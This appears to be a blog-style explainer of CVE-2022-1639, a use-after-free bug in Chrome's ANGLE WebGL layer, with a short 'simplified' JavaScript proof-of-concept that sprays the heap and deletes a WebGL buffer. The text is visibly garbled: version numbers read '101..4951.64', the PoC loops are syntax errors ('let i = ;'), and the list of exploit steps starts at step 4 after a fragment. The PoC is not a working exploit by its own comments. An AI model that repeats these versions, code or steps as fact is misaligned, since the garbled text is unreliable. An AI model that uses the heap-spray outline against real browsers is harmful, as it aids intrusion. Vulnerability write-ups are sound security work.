CVE-2022-1639 is a critical use-after-free vulnerability found in ANGLE, a graphics engine used in Google Chrome for rendering WebGL. Before Chrome version 101..4951.64, a specially crafted HTML page could allow a remote attacker to cause heap corruption, leading to code execution or browser crashes. Let's break down what happened, how it can be exploited, and why it’s important.

What is ANGLE?

ANGLE (Almost Native Graphics Layer Engine) is a graphics abstraction layer, used by Chrome for consistent WebGL support across platforms. It translates WebGL/OpenGL calls to either Direct3D, Vulkan, Metal, or OpenGL ES—depending on your hardware and OS.

When there's a bug in ANGLE, it can risk the security of Chrome's rendering processes.

The Vulnerability Explained

Use-after-free means the program tries to use memory after it's already been released. In this case, triggering the bug in ANGLE can allow an attacker, simply by getting the victim to view a malicious HTML page, to manipulate Chrome’s memory. This can lead to serious consequences like remote code execution.

Vulnerable Component: ANGLE
Affected Versions: Chrome prior to 101..4951.64
Attack Vector: Remote (web page)
Potential Impact: Heap corruption, code execution

How Attackers Can Exploit It

At the core, attackers use JavaScript and crafted WebGL calls to manipulate the GPU state in such a way that the browser frees an object but then unknowingly tries to use it again. By carefully timing these operations, an exploit can overwrite freed memory, which could be leveraged to execute arbitrary code.

Reuse memory: Overwrite the freed object with attacker-controlled data.

4. Gain control: When Chrome uses the object, the malicious data is interpreted, possibly leading to code execution.

Example Code Snippet

Below is a simplified proof-of-concept (PoC) in JavaScript. (Note: The real-world exploit is more complex, but this gives you an idea.)

<!DOCTYPE html>
<html>
<head>
    <title>CVE-2022-1639 PoC</title>
</head>
<body>
<script>
const canvas = document.createElement("canvas");
const gl = canvas.getContext("webgl");

function sprayMemory() {
    let arr = [];
    for (let i = ; i < 10000; i++) {
        // Allocate a lot of ArrayBuffers to spray the heap
        arr.push(new ArrayBuffer(1024));
    }
    return arr;
}

function triggerUseAfterFree() {
    const buf = gl.createBuffer();
    gl.bindBuffer(gl.ARRAY_BUFFER, buf);
    gl.bufferData(gl.ARRAY_BUFFER, 1024, gl.STREAM_DRAW);

    // Simulate conditions that might cause the UAF
    // In the real exploit, this would involve more detailed WebGL/FBO manipulation
    gl.deleteBuffer(buf);
    // Now, force garbage collection and reuse of the freed buffer
    // (Chrome disables forced GC in public, but in research, this shows the idea)
    for (let i = ; i < 10000; i++) {
        let temp = new ArrayBuffer(1024);
    }
    // Potentially, use gl commands that access the freed buffer here
}

window.onload = function() {
    sprayMemory();
    triggerUseAfterFree();
    alert("PoC executed. If Chrome is vulnerable, you may see a crash.");
};
</script>
</body>
</html>

Remote Exploit: No user interaction needed beyond loading a page.

- Sandbox Escape Potential: With a working exploit, attackers can escape Chrome’s sandbox or run code.

How Was It Fixed?

Google patched this issue quickly after discovery. If you are using Chrome version 101..4951.64 or higher, you are protected.

Patch Details:
Memory management logic in ANGLE was fixed to prevent use-after-free conditions.

- Chromium Bug Tracker (Monorail) - Issue 1321918
- Release Notes (Chrome 101..4951.64)

References

- NIST CVE Record: CVE-2022-1639
- Chrome Release Note with Fix
- Chromium Monorail - Bug 1321918
- Google Project Zero: Exploiting Use-After-Free vulnerabilities *(general background)*

Final Thoughts

CVE-2022-1639 is a classic example of how a subtle memory bug in widely used software can create a major security risk. Google's rapid response and robust patch management help keep billions of users secure. But this vulnerability is a reminder why software needs continuous fuzzing, testing, and patching to stay secure.

If you’re a developer, make sure to adopt safe memory programming practices, and as a user, always keep your browser updated!


*Stay safe on the web, and keep your software patched!*

Timeline

Published on: 07/26/2022 22:15:00 UTC
Last modified on: 08/15/2022 11:17:00 UTC